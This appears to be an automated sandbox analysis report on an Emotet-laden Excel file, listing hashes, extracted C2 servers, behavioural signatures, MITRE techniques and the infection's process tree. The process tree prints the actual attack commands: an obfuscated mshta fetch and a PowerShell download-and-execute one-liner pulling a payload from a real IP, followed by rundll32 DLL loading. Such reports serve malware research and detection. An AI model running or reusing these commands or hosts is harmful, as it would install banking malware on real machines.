emotet | 65ea61f3ce9199cca575bba5980ce844369c7a899ee509233bdebde2c92524c1

General

Target

KTU-010122 XSIJ-280122.xls
Size

47KB
MD5

f7fec4ec166a17362b23b07e1ff06a5d
SHA1

2704ab7af1ec1d85771bdae6eb38ad89d65c8b4a
SHA256

65ea61f3ce9199cca575bba5980ce844369c7a899ee509233bdebde2c92524c1
SHA512

c761ae7777ca2357b220f50330d61168c16c5df70a80eea2b320870652ceadb357b224377c5897830f3581b2490646f47ba204f1a05464350923991aaa008740

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1720	3184	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

39 2644 mshta.exe
40 3852 powershell.exe
42 3852 powershell.exe
45 420 rundll32.exe
47 420 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1068 rundll32.exe
1804 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Acetizlm\zptopltuk.tjv rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1168 2644 WerFault.exe mshta.exe

flow	pid	process
39	2644	mshta.exe
40	3852	powershell.exe
42	3852	powershell.exe
45	420	rundll32.exe
47	420	rundll32.exe

pid	process
1068	rundll32.exe
1804	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Acetizlm\zptopltuk.tjv	rundll32.exe

pid	pid_target	process	target process
1168	2644	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3184 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3852	powershell.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
1168	WerFault.exe
3852	powershell.exe
3852	powershell.exe
420	rundll32.exe
420	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3852 powershell.exe
Token: SeDebugPrivilege 1168 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeDebugPrivilege	1168	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE
3184	EXCEL.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

EXCEL.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3184 wrote to memory of 1720	3184	EXCEL.EXE	CMD.EXE
PID 3184 wrote to memory of 1720	3184	EXCEL.EXE	CMD.EXE
PID 2644 wrote to memory of 3852	2644	mshta.exe	powershell.exe
PID 2644 wrote to memory of 3852	2644	mshta.exe	powershell.exe
PID 3852 wrote to memory of 928	3852	powershell.exe	cmd.exe
PID 3852 wrote to memory of 928	3852	powershell.exe	cmd.exe
PID 928 wrote to memory of 1068	928	cmd.exe	rundll32.exe
PID 928 wrote to memory of 1068	928	cmd.exe	rundll32.exe
PID 928 wrote to memory of 1068	928	cmd.exe	rundll32.exe
PID 1068 wrote to memory of 1804	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 1804	1068	rundll32.exe	rundll32.exe
PID 1068 wrote to memory of 1804	1068	rundll32.exe	rundll32.exe
PID 1804 wrote to memory of 696	1804	rundll32.exe	rundll32.exe
PID 1804 wrote to memory of 696	1804	rundll32.exe	rundll32.exe
PID 1804 wrote to memory of 696	1804	rundll32.exe	rundll32.exe
PID 696 wrote to memory of 420	696	rundll32.exe	rundll32.exe
PID 696 wrote to memory of 420	696	rundll32.exe	rundll32.exe
PID 696 wrote to memory of 420	696	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\KTU-010122 XSIJ-280122.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3184

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
PID:1720

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3852

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:928

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1068

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1804

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Acetizlm\zptopltuk.tjv",GIrMPGlODQkH
8⤵
- Suspicious use of WriteProcessMemory
PID:696

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Acetizlm\zptopltuk.tjv",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:420

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2644 -s 1908
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1168

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
4ee771426984b1a6b48d2522776c65a2

SHA1
cbb4bdf131584d811fc7464143acfb7e428fd434

SHA256
862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

SHA512
2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

Download Submit
\ProgramData\QWER.dll
MD5
4ee771426984b1a6b48d2522776c65a2

SHA1
cbb4bdf131584d811fc7464143acfb7e428fd434

SHA256
862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

SHA512
2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

Download Submit
\ProgramData\QWER.dll
MD5
4ee771426984b1a6b48d2522776c65a2

SHA1
cbb4bdf131584d811fc7464143acfb7e428fd434

SHA256
862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

SHA512
2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

Download Submit
memory/696-1843-0x0000000003140000-0x0000000003165000-memory.dmp

Filesize
148KB

Download
memory/1804-1826-0x0000000004EB0000-0x0000000004ED5000-memory.dmp

Filesize
148KB

Download
memory/1804-1837-0x0000000005070000-0x0000000005095000-memory.dmp

Filesize
148KB

Download
memory/1804-1847-0x00000000052A0000-0x00000000052C5000-memory.dmp

Filesize
148KB

Download
memory/1804-1841-0x0000000005130000-0x0000000005155000-memory.dmp

Filesize
148KB

Download
memory/1804-1839-0x00000000050D0000-0x00000000050F5000-memory.dmp

Filesize
148KB

Download
memory/1804-1828-0x0000000004F90000-0x0000000004FB5000-memory.dmp

Filesize
148KB

Download
memory/1804-1821-0x0000000002E00000-0x0000000002E25000-memory.dmp

Filesize
148KB

Download
memory/3184-115-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3184-116-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3852-1496-0x000002A2485A0000-0x000002A2485C2000-memory.dmp

Filesize
136KB

Download
memory/3852-1545-0x000002A2304A0000-0x000002A248660000-memory.dmp

Filesize
385.8MB

Download
memory/3852-1571-0x000002A248C70000-0x000002A248CE6000-memory.dmp

Filesize
472KB

Download
memory/3852-1546-0x000002A248760000-0x000002A24879C000-memory.dmp

Filesize
240KB

Download
memory/3852-1680-0x000002A2304A0000-0x000002A248660000-memory.dmp

Filesize
385.8MB

Download
memory/3852-1600-0x000002A2304A0000-0x000002A248660000-memory.dmp

Filesize
385.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads